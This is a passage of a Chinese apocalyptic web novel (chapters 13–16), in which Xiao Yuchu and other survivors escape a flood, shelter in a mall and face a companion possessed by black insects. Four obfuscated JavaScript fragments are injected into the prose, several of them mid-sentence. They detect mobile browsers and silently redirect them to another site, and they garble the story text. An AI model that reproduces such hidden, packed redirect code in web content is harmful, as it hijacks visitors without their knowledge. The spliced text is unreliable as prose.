“是一个绿油油的怪物，那个怪物那时候还小，你们俩都没警惕它。它先是抓住了你的胳膊，你吓得大叫，于是林子康便去救你。你是他尊敬的哥哥，所以他几乎用尽了全力，将你扯出那团泥泞，却不想自己的腿却被那东西攫住了。他向你求救，可是胆小如鼠的你，却在那时候丢下了他……” “胡言乱语。”张玉明反驳。但他的身体却在不可察觉地发抖。 “你有没有做过，你自己心里清楚。”肖与楚挑了挑眉，“至于我说的是不是真的，”肖与楚转向小佳，“廉敏佳，你和林子康在学校重逢是在学校门口的文具店吧，那天你买的是是一只黑色马克笔。” 廉敏佳身体僵硬，她几乎要崩溃了，她从未想过林子康居然是这样死的，那她为张老师做的这些事算什么？她害死了那么多人…… “你知道林子康临死前做了什么吗？”肖与楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592943|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再问廉敏佳。 廉敏佳嘴唇动了动，她几乎要呼吸不过来。 “在被那个怪物吃掉前，他一直在央求张老师好好照顾你，他担心你不能在这个乱世活下去，他还说可惜世界变成这样了，如果世界还是以前，他一定会跟你表白，会跟你一起去海边。”说到这里，肖与楚悠长地叹了口气。“他应该没想到你有这么强大的能力吧，强大到可以保护你想要保护的人。” 心似乎碎成了很多瓣，连视线也有些模糊了。廉敏佳的眼泪夺眶而出。 这一个月她都做了些什么！ 她不再是那个在班上沉默不言的乖乖学生，她听信了张老师，让他把化学物混入到水中，让水滴变成了致命的武器。 她杀了人，只是因为张老师说这些人是生存威胁；他还帮助张老师抓了很多人到这里来，只因为张老师说这样才能和怪物交换物资。 她以前连踩死一只蚂蚁都会叹息，却变成了杀人不眨眼的刽子手。 轰隆隆的声音变得越来越大了，就好像雷声由远及近。 “小佳，别信他们，他们把所有的物资都弄丢了，那是林子康拿命保下来的。他们编出这么多乱七八糟的东西，只是想挑拨我和你，我们不能就这么放过他们。”张玉明额头上冒出了巨大的汗珠，他妄图做最后的挣扎。 廉敏佳不说话，她抬起目光，直视张玉明的眼睛，仿佛要看穿他这副皮囊下的丑恶灵魂。 顷刻间，水滴从水壶里凝聚而起，飞向张玉明和肖与楚，却又在距离他们几十厘米的地方停下来。 “我该信你们谁呢？”廉敏佳仿佛自嘲般轻声说道。 “信我。” “信你自己。” 廉敏佳哑然失笑。 “林子康已经死了！”张玉明面红耳赤。 “他是死了，死在你和那株藤蔓手里。但你应该不知道，那株藤蔓可以存储所有死者的记忆，甚至可以把记忆分享给被它控制的人。” 张玉明惊愕，其余人的嘴巴也张成了O型。 “恰好，我读到了他的记忆，”肖与楚的语气意味深长，“如果我死了，也许小佳会在这条犯错的路上越走越远，现在你收手还来得及。” 廉敏佳嘴唇颤抖，记忆的闸门打开了，纷乱多姿的碎片充斥着她的脑海，让她逐渐麻木的神经重新活跃起来。 她喜欢林子康，可她从来不敢说，她享受和林子康在一起的时光，让她可以短暂地摆脱支离破碎的家庭，找到一点温馨的港湾。 她总是听林子康提起同母异父的哥哥张玉明，那个教化学的老师。林子康说他哥很懂事很厉害，就是不知道妈妈为什么不喜欢他，又感叹他拿着名牌大学的学历来学校当老师太屈才了，应该去外面的世界发光发热。 可是在他口中的好哥哥居然是这样卑鄙的人？ 愤怒填满了廉敏佳的胸腔。 “不好了！”站在最外面的一个小混混突然大声喊道。 “哪里不好了？”尖嘴猴问。 “水……水……漫过来了！” “啊，那你们赶紧堵上啊。” “没用的。”廉敏佳淡淡地吐出三个字。“你们——都跑不出去了。” 张玉明惊慌：“小佳，你……你干了什么？” “我们杀了那么多人，都应该死在这里。”康敏佳眼角含泪。 那些小混混顿时都反应了过来，尖嘴哈大叫道：“她疯了，快跑啊！” 但是来不及了，滔天的水流已经涌到了通道口，它们裹挟着愤怒和绝望而来，让在场的每个人都无处可逃。 原来小佳的力量如此强大吗？肖与楚暗暗吃惊。 她看到洪水凶猛地朝着他们所有人而来，慌乱之中，肖与楚感到一股强大的力量拉住了她的手…… 是小佳。 14. 014 “我就说，不能惹这些高中生，他们天天学习，怨气太重了，做事完全不计后果。”张进站在地铁口的台阶上，看着被灌的满满当当的地下通道感叹道。 “咳——咳——”陈斯被几口脏水呛得说不出话来，“有……有什么可惜的，她没少杀人啊，还差点把我们都害死。” “这回多亏了有小楚，要不然我们都死定了。”乔一伊对肖与楚的感激之情溢于言表。 肖与楚正在给小野摘头上的杂草，听到乔一伊的称赞，她停下手。“也不是我的功劳，是那个中学生没想杀我们。” 刚刚在水中的情形很清晰，抓住肖与楚的人是廉敏佳，她对肖与楚说的话仍在她脑海中回荡。 “姐姐，我送你们出去，你放心，那些人我都带走。”廉敏佳眼睛里满是泪水。 要不是廉敏佳放他们一条生路，这会儿他们肯定都已经死了。 “哎，怎么戴眼镜的那位不见了？”张进的话打断了肖与楚的回忆。 “不知道啊，上来就没见着他。”老汉一脸无所谓。 大家对眼镜男的消失没什么特别的感觉，就像他对她妻子的消失不在意一样。肖与楚对此缄默不言，也不想把那个秘密告诉其他人。 高温猛烈，浓烈的炎热气息让浑身湿漉漉的众人也透不过气来。 继续留在地铁口不是个什么好主意，众人商量了后，决定先去活力城避避高温，再做下一步打算。 活力城以前是一座很热闹的商场。今非昔比，如今这里空空荡荡，店铺里的东西几乎被打劫一空，只有一些华而不实的东西还留在那儿。跟外面浓烈的高温相比，这里温度至少低了五六度，相对舒适，只是空气中仍飘着一些不合时宜的腐臭味。 众人各自在商场里搜罗了一些合适的干净衣服换上，随后又到地下b1层的一家装修不错的餐厅驻扎了下来。 也许是经历了一番折腾太累了，不一会儿其他几个人就睡着了，只剩下肖与楚和小野坐在靠近门口的卡座里发呆。 这正是肖与楚所期待的时机，她确定其他人都睡着后，才低声开口和小野交谈。 “刚刚有好多问题没来得及问你，是你杀了那株藤蔓吗？” 小野嘿嘿一笑：“早知道你会这么问，不过我没有，它应该是逃走了。” “逃走了？”肖与楚不信。 “嗯，我和张进叔叔靠近它的时候，我能感觉到它很害怕，结果那时候有一道光下来，它就不见了。我怀疑……是不是有什么人在帮它逃跑。” “谁会帮它逃跑呢？”肖与楚疑惑。 “不知道。或许在那儿又出现了新的裂缝，只是我看不见而已。”小野说着耸了耸肩。 “那些物资，难道也掉进了时空裂缝？” “当然没有啦，那时候张进叔叔也昏迷了，我就利用这个机会，把那些物资都塞进了空间囊里，现在那些物资都在我手上。”小野说着得意地笑了笑，“那些东西够我们支撑很长时间了。” “果然。”肖与楚笑了。 “你手上的伤……”小野盯着肖与楚的手。 肖与楚左手掌心里的布条不知道什么时候掉了，露出了那个贯穿伤，那个伤口已经逐渐愈合，她又摸了摸脸颊，脸上那些划痕自然早就恢复了。 小野又拿出她的仪器，往肖与楚胳膊上一点。 “你的能力进化得很快，现在力量增加到了40，速度50、自愈能力70，耐力20，抗极端环境能力20。 “算快吗？” “嗯，原来的自愈能力等级可以恢复皮肉伤，现在自愈能力连贯穿伤都这么快恢复，看来比我想的要好。”小野表情严肃。 “明白了。你妈妈为什么要改造我呢？”肖与楚问。 “这个嘛……她没跟我细说。”小野无奈地耸肩，“也许以后会知道的。” “这样吗？”肖与楚的疑惑病没有减轻。 考虑到大家都饿了很久了，肖与楚让小野从物资中拿出了方便面、干蔬菜以及饮用水之类的东西，准备好好犒劳大家。 约摸两个小时后，其他人才陆续从睡梦中醒了过来，看到这么丰盛的物资，大家心里虽有数不清的疑惑，但却心照不宣地没有问任何问题。 “你们等等，我去那锅和刀，给你们做一顿晚饭。”张进说。 不一会儿张进就把餐厅里的一些、东西搬出来了，有瓦斯炉和锅，还有刀和案板。 在准备食材期间，肖与楚才知道，张进是附近一家知名餐厅的厨师，很擅长做川菜；而那位老汉则叫林英勇，是个退伍老兵，他退休了之后在小区干保安，大家都叫他老林。 坐在桌子前，吃一顿正常的饭，这是大家这一个月来想都没想过的事情。虽然眼前这几个人，以前未必能坐到一张餐桌上，但大家劫后重生，反而有一种惺惺相惜的感觉。 “你们接下来什么打算？”老林问肖与楚。 “我们几个准备去庇护所。”肖与楚如实回答道。 “林川市西北宁峰山余北镇的庇护所？”张进问。 肖与楚点头：“是，这是我们原本的计划。”言下之意，这个计划随时都可以更改，毕竟肖与楚现在不缺物资。 “哎，我刚开始想去，但太远了。而且路上说不定会出什么岔子，说起来，最开始那几天，我感觉我们小区都快漏成筛子了，到处掉东西，要不是我命大，估计也活不下来了。” “大家都算是走运的人，能活下来不容易。”老林说。 “能活着就是好事。”张进狼吞虎咽。 “说的容易，别看现在吃的好好的，说不定下一秒就不见了，我看这样下去，真的要疯了。”陈斯满脸疲惫。 “兄弟，不要在这时候扫兴。”张进觉得手里的方便面不香了。 “我不是扫兴，我只是让大家有心理准备，这个世界瞬息万变，什么都有可能发生，这不是我们能预见的。” “行吧，”张进埋头继续吃，“既然这样，还不如多吃点，做个饱死鬼。” 吃完饭后，众人又安静了下来，即便在地下一层，大家也逐渐感觉到高温天气带来的不适。 好在肖与楚已经提前让小野准备了足够的水，只要静止不动，所有人还能保持一个相对舒服的状态。 好不容易熬到了傍晚，老林要拉着张进、陈斯出去，说看能不能找到什么有用的物资。陈斯本来不愿意去的，但架不住老林，也跟着去了。 他们前脚刚离开，一直没怎么说话的乔一伊就凑到了肖与楚身边。 “小楚，我有话对你说。”乔一伊不好意思。 肖与楚猜到乔一伊要说的话可能和陈斯有关。 “你说吧。” “陈斯不是好东西，今天我们几个在地铁站，我两次遇到危险，他都没帮我。要不是你，我应该早死在地铁站了。” 肖与楚笑了笑。 “我昏了头，被他的花言巧语骗了，我对不起你。我想好了，等他回来我就跟他分手。” 乔一伊越说越难过，几乎就要哭出来了。 “既然看清楚了，早分早好。” “你是不是觉得我是个傻子？”乔一伊哭丧着脸，“待在他家里那一个月，我其实度日如年。没有物资，他就把他那个胖邻居弄死了，他说要弄死那个人的时候，我还说你只要把东西拿到手就行了，可他……” 乔一伊大口吸气。 “他说这个世道不是我们弄死别人，就是别人弄死我们，弱者只有死……” 说到这里，乔一伊突然拉起肖与楚的胳膊，用近乎祈求的眼神看着她。 “小楚，我知道你变异了，还有小野，我不知道她是哪儿冒来的，但我知道她很厉害，你们俩肯定能活下去。而我只是个普通人，没什么能耐，如果不跟着你，我肯定会死。所以，我求求你，千万千万不要抛下我。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603983|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我怎么会抛下你呢？”肖与楚无奈地笑了，这个问题她从没想过。 “对啊，乔阿姨，我妈妈不会那么做的。”小野也在旁边附和。 “真的吗？”乔一伊眼里闪烁着泪光，“我怕你们也觉得我是累赘。” “不会的，虽然我不知道未来发生什么，但抛弃朋友这种事，我肖与楚是肯定不会做的。” 乔一伊似乎还是不放心，但她嘴巴张了张，终究是没说出什么复杂的话，只是冲肖与楚感激地笑了笑。 “谢谢你，小楚。” 乔一伊又故作轻松地跟肖与楚瞎聊了会儿，就在她们猜测出去的人会找些什么东西的时候。桌上的对讲机突然响了，里面传来张进焦急的声音：“小楚姐，三楼翔云运动装备，出了点事，你们赶紧过来。” “什么事？” 张进语气急迫：“陈斯和老林被锁在了装备店里，我打不开门，不知道里面什么情况，总之，你们赶紧来啊！” 不详的预感再次袭来，肖与楚一行三人立即起身，马不停蹄地往三楼翔云运动装备赶去。乔一伊对商场很熟，她花了几分钟就把肖与楚带到了装备店门口。 张进一个人孤零零地站在店门口，满头大汗，面如死灰。 “到底发生什么事了？” “我也不知道，我们本来约好各自搜，我在前面那家店的时候突然听到这边有争吵的声音，跑过来的时候，就发现卷帘门拉下来了，我听里面好像在打架，就让他们别打了，可他们不听。现在……现在什么声音都没有了。” 肖与楚感到不妙，她贴着门仔细听了一下，果然什么声音都听不见。 “会不会……他们已经被吞了？”张进不怕明面上的危险，就怕这些阴损玩意儿。 肖与楚屏息凝神观察了几秒钟，这里没有气流在涌动，说明现在没有时空裂缝。不过即便现在没有，不代表以前没有，或许时空裂缝短暂出现又消失了。 “无论如何，我们得先把门打开。” 肖与楚打量着这扇厚实的卷帘门，琢磨着从哪里下手。 “我刚刚试了，我一个大男人都不行……”张进挠了挠头，“要不我们几个一起试试？” “让我来吧。”跟在肖与楚屁股后面的小野钻了出来。 她的话让张进吃惊，他难以置信地问道：“你……你能行？” “叔叔，不要瞧不起人，我有钥匙。”小野说着亮出一片亮晶晶的方片钥匙。 张进：“？” 肖与楚：“……” 小野不慌不忙地蹲了下来，将那片银闪闪的钥匙很随意地插进了钥匙孔里，捣鼓了几秒钟，不一会儿，她就站了起来。 “打开了。” 张进半信半疑地走到门边，果然不费吹灰之力就把门拉了起来。 “啊——”乔一伊忍不住叫了一声，她急忙捂住了嘴，露出抱歉的神情。 不过没有人怪她，店里景象的确骇人，连肖与楚也觉得头皮发麻。 在卷帘门里左侧墙壁上，一根铁杆贯穿老林的胸腔，将他牢牢地挂在贴墙的货架上，他浑身血淋淋一片，看起来已经没了呼吸。 “老林。”张进扑了过去，想要把老林从货架上取下来。 “陈斯呢？”乔一伊也慌乱起来。 肖与楚四下扫了一眼，没看到陈斯的身影，她往店里走了几步，隐约听到里面传来人说话的声音。 顺着声音传来的方向，她越过几个倒在地上的货架，往深处走去，随着脚步的深入，那声音越来越大，也越来越清晰。 “有虫子……有虫子……” 陈斯的声音像是黑夜里的幽灵一样，不停地重复着。 肖与楚转了弯，在装备店角落里看到了他。他浑身是血，眼神呆滞得仿佛被抽走了魂魄一样，不停地呢喃着。 一股电流从肖与楚脚底板直冲脑门，她有一种强烈的预感：新的麻烦又来了。 15. 015 “陈斯，你怎么了？” 肖与楚和陈斯在一起那么久，从没见他这副失魂落魄的模样，想必他一定是遭受到了极大的精神刺激。 “虫子……虫子。” 哪里来的虫子？多大的虫子？ 肖与楚迅速四周环视了一圈，店里乱七八糟，到处都是倾倒的货架和垃圾，但没有看到什么能动的虫子。 “虫子……虫子……”陈斯嘴里还在念叨。 肖与楚思索了几秒，招呼在她身后的乔一伊。“把他弄出去。” 肖与楚和乔一伊合力把陈斯从角落里拉了出来，架着他的肩膀出了装备店。 “张进，别管他了。”看见张进还在琢磨怎么把老林弄下来，肖与楚劝阻道，“弄下来也没什么意义了，他已经死了。” 张进几乎是毫秒间就清醒了过来，他几步跑出装备店，迅速拉上了卷帘门。 “你说得对，我昏头了，还不知道这店里有什么呢，我们得赶紧走。” 肖与楚第一次看到张进这么害怕。几分钟前还在和自己说话的人，如今变成了一具血淋淋的尸体，任谁看了都会觉得这其中大有问题。 一行人以最快的速度架着陈斯回到了餐厅。张进关好了门，又在把门后放了一个沙发椅挡住。 肖与楚和乔一伊把陈斯扔到了他原先坐的卡座里。陈斯屁股一挨到座椅，便像一摊泥瘫了下去。 “小楚，这到底是回事啊？”乔一伊叉着腰问。 “不知道。”肖与楚说。 “兄弟，”张进气喘吁吁地赶到陈斯面前，“老林她到底是怎么死的？” 听到张进的问话，陈斯回过点神，他眼珠子四处飘，随后像是恢复了神智，猛地竖起来拿起桌上的水喝了几口。完了他又摸了摸脸颊，发现脸上全是血后，便抄起衣摆拼命擦拭脸上黏糊糊的血迹。 “兄弟，你别吓人啊……”看着这诡异的动作，张进吞了口唾沫。 陈斯视线四处乱飘：“老……老林……在哪儿？” “他已经死了。”肖与楚在陈斯对面坐了下来，“陈斯，在装备店里到底发生了什么事？为什么老林会死？” “我……我不知道……”陈斯面色痛苦。 张进也一屁股在陈斯身边坐下来，他拍了拍陈斯的肩膀。“别慌，兄弟，就从你们进店的时候开始说。” 陈斯似乎是被安抚了，他吞了口唾沫，整理了下思路，才讲述刚刚发生的事情。 “我和老林是一起进的那家店，虽然店里大部分东西都被拿走了，但我还是想看看有没有什么合适的鞋子，所以我一进门就去鞋架那边了。结果我没翻多久，就……就听到老林叫我过去。” 陈斯的神情逐渐变得阴郁。 “我过去却没看到他的人影，叫他也没人回应。然后，我就抬头，结果……结果，”陈斯嘴唇发白，“我就看到他挂在天花板上，身上爬满了黑色的虫子。我害怕啊，就想跑出门，门就落下来了。之后我就横冲直撞，再清醒过来，你们就来了。” “那些黑色虫子到底对老林做了什么？”肖与楚一边追问陈斯，一边给小野使眼色，示意她查一查看能不能有什么线索。 陈斯狠狠地薅了薅头发，说一句话毫无作用的话：“我当时都特么快吓死了，根本不记得到底怎么回事。” 张进又拍了拍陈斯的肩膀，安慰道：“理解，兄弟，我刚刚看到老林那个惨样，吃下去的东西都想吐出来，你肯定吓坏了。” 陈斯不自在地挪了挪身子。 “那些黑色的虫子不会过来吧？”他道。 众人你看我，我看我，不约而同地沉默了。 “我看我们还是离开这里吧，这里太危险了。”陈斯眼巴巴地望着所有人，似乎是在等大家给他一个肯定的回答。 “现在？”张进犹疑，“天都黑了，我们出去目标太明显。” “是啊，要不明早再走吧。”乔一伊说。 “你闭嘴！”陈斯脾气突然暴躁，“我好歹是你男朋友，你不听我的，跟别人搅合什么劲？是不是跟他有一腿？” “陈斯，你……” “兄弟，你这话就不对了，咱这才相处一天不到，哪儿来的一腿。” “对不起，对不起，”陈斯突然又懊恼地抱着头，“我瞎说的，我现在脑子很乱，让我歇会儿。” “算了算了，我看他已经精神错乱了，我们还是让他歇会儿吧。” 张进长吁短叹了一番，找了个靠近门口的沙发躺了下来，他身材高大，躺在那张狭窄的沙发上，小腿肚子还露在外面。不过他大概是这行干惯了，躺得安安稳稳。 肖与楚本想拉着乔一伊离开，但陈斯却出人意料地露出一副脆弱的模样，执意让乔一伊作陪。乔一伊心软，就留了下来。 肖与楚和小野两人到靠后厨的位置坐了下来，在这个位置，刚好能看见陈斯他们。 “他说的黑色虫子是真的吗？”肖与楚问小野。 “黑色虫子的种类不计其数，只是一些只言片语的信息，很难辨别到底是哪种虫子。”小野皱起眉头，“我想我们得等他清醒了，再好好问问。” “我总觉得这件事情不太对劲。”肖与楚思忖道，“一切都发生得太过诡异了。” “以后还会有更诡异的事情呢。”小野淡淡地说。 夜渐渐深了，其他人都昏昏沉沉睡了过去，只有肖与楚依然醒着，她不是不想睡，而是无法入眠，一方面张进的呼噜声太大了，另一方面她的脑子里还装着很多事。 肖与楚不是冷血的人，今天一天见证了很多生命的逝去，她心里不是滋味。以前那些生命的流逝对在出租屋里待着的她来说只是个数字，而如今却是具象化的，活生生的人变成血淋淋的尸体，被挂在那儿，被刺穿身体……那些画面就像是电影一样，不断地在脑海中播放，闭上眼睛难受，不闭上眼睛她也难受。 她脑海里一团乱麻，这时有细微的声音引起了她的注意，那声音非常小，还夹杂在张进一起一伏的呼噜声中。 肖与楚竖了起来，在黑暗中，什么也看不见，但是嗅觉和听觉都会变得异常灵敏，肖与楚听到远处似乎有人在梦中呓语，声音传来的方向是陈斯那边，接着又闻到空气中有一股淡淡的汗臭味。 其余的也没什么异常了。 就肖与楚准备继续躺下的时候，突然感觉到一股不明的暖流吹到脸颊上，她立即打开了手边的照明灯。 眼前的景象让她吓了一大跳。 陈斯瞪着一双血红的眼睛，几乎就要贴到了她脸上，而她居然对此毫无察觉。 肖与楚猛地往后一坐，几乎贴紧墙壁。 “你要干什么？”肖与楚心脏扑通扑通跳，几乎要窒息了。 “不干什么，”陈斯声音嘶哑，“就是想来看看你。” “我有什么好看的？”肖与楚一边说，一边抓着桌上的木质纸巾盒，她感觉到陈斯身上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13613071|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涌动着一股不平常的气息。 睡在肖与楚对面沙发上的小野也醒了过来，她看见陈斯双眼瞪得溜圆，随即便缩在了角落里一声不吭。 “你怎么不好看了？”陈斯的声音又大了一些，“你在我心中就是最好看的，我之前去找乔一伊聊天，其实就是想问问你怎么样，没想到一来二去就在一起了，我不喜欢她，我还是喜欢你。” “你有病吧！”肖与楚无语。 “我没病。小楚，我们复合吧。你看，”陈斯打了个响指，他的指尖那团火焰似乎变得更亮了，“我现在很厉害了，我能保护你。” 肖与楚愣了愣，这是她第一次知道陈斯的异能，原来他所说的用火是指这个。 “你搞笑吧，你这跟人形打火机有什么区别？” “你说什么？”陈斯脸部肌肉抽搐，“什么人形打火机，我这是变异！变异！” 陈斯最后两个字几乎是咆哮出来的，几乎在同时，肖与楚注意到他脸上发生了细微的变化，他脸上皮肤之下，似乎有什么东西在爬动。 “陈斯……你到底怎么了？”肖与楚一边询问，一边拿起桌上的纸巾盒，随时准备保护自己。 “我没怎么，我就是觉得太热了，很烦。”陈斯伸手挠自己的脸颊，他挠得很用力，几乎要把皮肤挠破了。“很痒，好像有几百只虫子在我皮肤里爬。” 好像？不，这不是他的错觉，而是肉眼可见的事实。 就在他说出这句话的时候，肖与楚亲眼看见一只黑色虫子从他的眼眶里爬了出来，接着第二只、第三只……那些黑色小虫很快就像芝麻一样撒满了他的脸。 肖与楚吓得魂不附体，她抬起一脚，就将陈斯踹了出去。 陈斯毫无防备，加上肖与楚力气比之前大了不少，他一下子被踹出去老远，扑通一声跌在了地上。 这一声把熟睡中的乔一伊也惊醒了，她吓得眼珠子都快掉了出来。 “你干嘛踹我！”陈斯气急败坏。 肖与楚从沙发上弹起来，站在地上，冲正在发愣的乔一伊吼道：“你跟张进赶紧出去！” 乔一伊如梦初醒，她卷起背包，就问：“你和小野呢？” “不用管我们。” “知道了。”乔一伊像一只敏捷的兔子一样跳了起来，窜到另一个走廊，就往门口跑。 “张进，把门打开！”她大叫道。 “好！”张进早听到这边有动静，已经悄没声地把堵住门口的东西都挪开了。 “乔一伊，你别走！”陈斯趴在地上，捂着脸，痛苦地呻吟道，“救救我！救救我！” 毕竟还是男女朋友，听到陈斯的呼唤，乔一伊停下脚步。 “快走！他已经不是陈斯了。”肖与楚大叫。 乔一伊愣了几秒，她回头看了一眼，黑暗中她看不清陈斯的身影，但她看到有一团火焰从陈斯所在的位置燃烧了起来。 那火光映着肖与楚的身影，让乔一伊浑身直起鸡皮疙瘩。 “走啊。”张进急了，拉着乔一伊的胳膊。 “等一下，我不走！”乔一伊甩开张进的手，斩钉截铁地说道。 “老妹儿啊，这都什么时候了，不是耍脾气的时候，那已经不是你男朋友了，那都不知道是个什么东西。”张进苦口婆心地劝说道。 “你先走吧，我不能丢下他们不管。”乔一伊抿紧嘴唇，四下看了一眼，拎起地上的一个灭火器，就朝肖与楚身后走去。 16. 016 彼时的肖与楚，看着那团从陈斯手中燃起来的火焰，又闻到空气中隐含的烧焦的味道，只觉得眼前这个人已经不是陈斯了。 要知道陈斯再怎么发神经，也不会把自己置身于危险之中，而眼前这个暴走版陈斯此刻的举动看起来像是要自焚。 “陈斯，你不要命了？”肖与楚对陈斯喊。 “我听不懂你在说什么，我现在就是最强大的人。”陈斯手中的火越烧越旺，再这么下去，肖与楚怀疑他的手要变成烤鸡爪了。 肖与楚偷偷瞟了一眼小野，她还在紧张地忙碌，不过看起来她对眼前的局面还没有什么把握。 哎，左右也没什么趁手的武器，真是麻烦。 肖与楚正焦虑，突然一团红色的东西递到了肖与楚面前，是个灭火器。 肖与楚再转头一看，是乔一伊。 “小楚，这种情况我还跑，我是人吗？我跟你一起。”乔一伊语气坚定，仿佛要去就义一般。 肖与楚心头一暖，她接过灭火器，说了声谢谢。 “乔一伊！你是我女朋友，你不应该站在我这边吗？”陈斯歇斯底里地怒吼道。 “我倒是想站在那边啊，但是你旁边能站人吗？我不被烧死就不错了。”乔一伊的语气恢复了往日的神采。肖与楚会心一笑。 “你们女人没一个好东西！” “不是，你怎么还搞扫射啊？”乔一伊叉着腰，“你才不是个好东西呢，在地铁站我就想骂你了，平时亲爱的，宝贝叫得挺欢的，到了真危险的就知道自己跑，难怪当初小楚跟你分手。” 肖与楚：“……”这就别说了吧。 “不好意思啊，小楚，嘴瓢了。”乔一伊捂了捂嘴。 乔一伊或许是想泄愤，但这句话彻底激怒了陈斯，他像一头发狂的野兽一样扑了过来。说时迟那时快，肖与楚打开灭火器，朝着陈斯的脸和手喷过去。 浓烈的白色烟雾顿时弥漫了过道，刚刚浓烈燃烧的火焰陡然熄了火，眼前只有一团刺目的白影。 “妈的。”肖与楚听到陈斯恶狠狠地骂了一声。 那团白影没有放弃，还是朝着肖与楚冲过来。肖与楚举起灭火器，抵住陈斯的攻击。她的力量完全可以跟陈斯抗衡，但让她觉得不妙的还是他身上那些黑色小虫，它们似乎变得越来越多了，还到处乱爬。 眼看几只小虫就要爬上灭火器，肖与楚朝陈斯肚子上踢了一脚，陈斯顿时发出一声惨叫，往后退了好几步。 肖与楚又趁机尽全力把灭火器砸了过去，扑通一声，陈斯连人带灭火器倒在地上，痛苦地呻吟起来。 “小野，有眉目了吗？”肖与楚希望从小野那儿得到一点有用的信息。 还在努力查找的小野茫然地摇了摇头，生硬地吐出一句话：“要不我们还是……先跑吧。” 看着满脸都是白色粉末，还在地上挣扎的陈斯，肖与楚有一丝犹豫。但这一点点犹豫马上就被理智所取代了。 现在不跑，恐怕就来不及了。 “好，我们走！” 肖与楚、小野、乔一伊和张进四人像离弦的箭一样冲出了餐厅。临出餐厅前，几人还还把桌椅弄倒了一大片，给陈斯设置了重重阻碍，免得他追上。 众人顾不得眼前的黑暗和身后传来的怒吼，顺着来时的路一直往商场外狂奔。直到出了商场，望着无边无际的黑暗，那股茫然感才袭了上来。 “我们……该去哪儿？”乔一伊喘着粗气。 “我知道一个地方。”张进说。 “哪里？” “嘿嘿，”张进有些不好意思，“就是我上班的那家餐厅，走吧，我们边走边说。” 黑暗中，几个人伴随着微弱的照明灯光亮，跟在张进的身后往活力城对面的马路走去。大家的脚步很快，肖与楚担心小野跟不上，便把她背了起来。 要换做以前，她背一个小孩，走一百米都费劲，而如今她却能健步如飞，不得不说她现在的身体已经不可同日而语。 就这样走了大约二十分钟后，众人终于走到了一幢楼门口。门口竖着一块立牌，上面写着“九龙树”几个字。 “到了，我们从后门进。”张进声音很低，好像怕别人听见似的。 肖与楚看到这个餐厅名字，已经记起了这栋楼的外形，她记得这应该是一栋深红色建筑，从外表看起来非常低调，但据说是一家人均消费不菲的餐厅。 张进熟门熟路地带大家绕到了餐厅后门，从兜里掏出一片钥匙把门打开了。 “进来吧。”张进热情地招呼大家。 肖与楚背着小野进了门，这是一条非常宽敞的走廊，两边是两扇厚重的后厨门。 张进等大家都进来后，就关上了门。他带着大家拐了好几个弯，才上了二楼。接着又拐了几个弯，把大家带到一个套房包间门口。 “今晚可以住这里，里面有沙发。”张进推门而入。 包间里有一股淡淡的香水味，肖与楚扫了一圈，窗帘拉得很紧。张进走到桌旁，点然了一根香薰蜡烛。 肖与楚就着昏暗的烛光看清楚了包间全貌，这是一个豪华包间，包间除了一张大桌子外，还有沙发茶几、及卫生间等布置。 张进擦了一把汗，不好意思地笑了笑。 “我住在隔壁房间。哎，其实也就是昨天倒霉，跑出去找东西吃被那帮人发现了，不然还能在这里躲很久呢。” “这里……好热。”乔一伊捏着衣服领口扇风。 “肯定比商场热，忍着点吧。”张进又擦了擦汗，“小楚姐，你赶紧把孩子放下来吧。” 肖与楚差点忘了背上还有个孩子，她正想把小野放下来，却发现她已经睡着了，便直接把她放在了沙发上。 “我先出去了。”张进说完就要离开。 “你等等。”肖与楚叫住了她。 “还有什么事？” “今晚你就睡在这儿吧。” “睡这儿？”张进惊讶。 “嗯，今天发生了这么多事，我们住在一起，比较安全。”话虽这么说，肖与楚其实还有另一个目的，她认识张进不到一天，让他在眼皮子底下活动，总比在其他看不见的地方好。 “行。”张进点头同意了，“反正这么一折腾，我恐怕也睡不着了，我们几个聊聊天也不错。” 张进说得没错，没有人能睡得着。 肖与楚、乔一伊、张进围坐在桌上，对着烛光发愣。 “你们……喝酒吗？”张进想喝点。 肖与楚和乔一伊互相对视了一眼，没说喝，也没说不喝。 “没别的意思，就是店里还有些啤酒、洋酒之类的，如果你们喝，我给你们拿一点。” 肖与楚摇了摇头，这种情况下，还是不喝比较好。 “给我拿两罐啤酒吧，我想喝。”乔一伊脸色凝重。 “行。”张进说着就起身出去了，不多时，他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 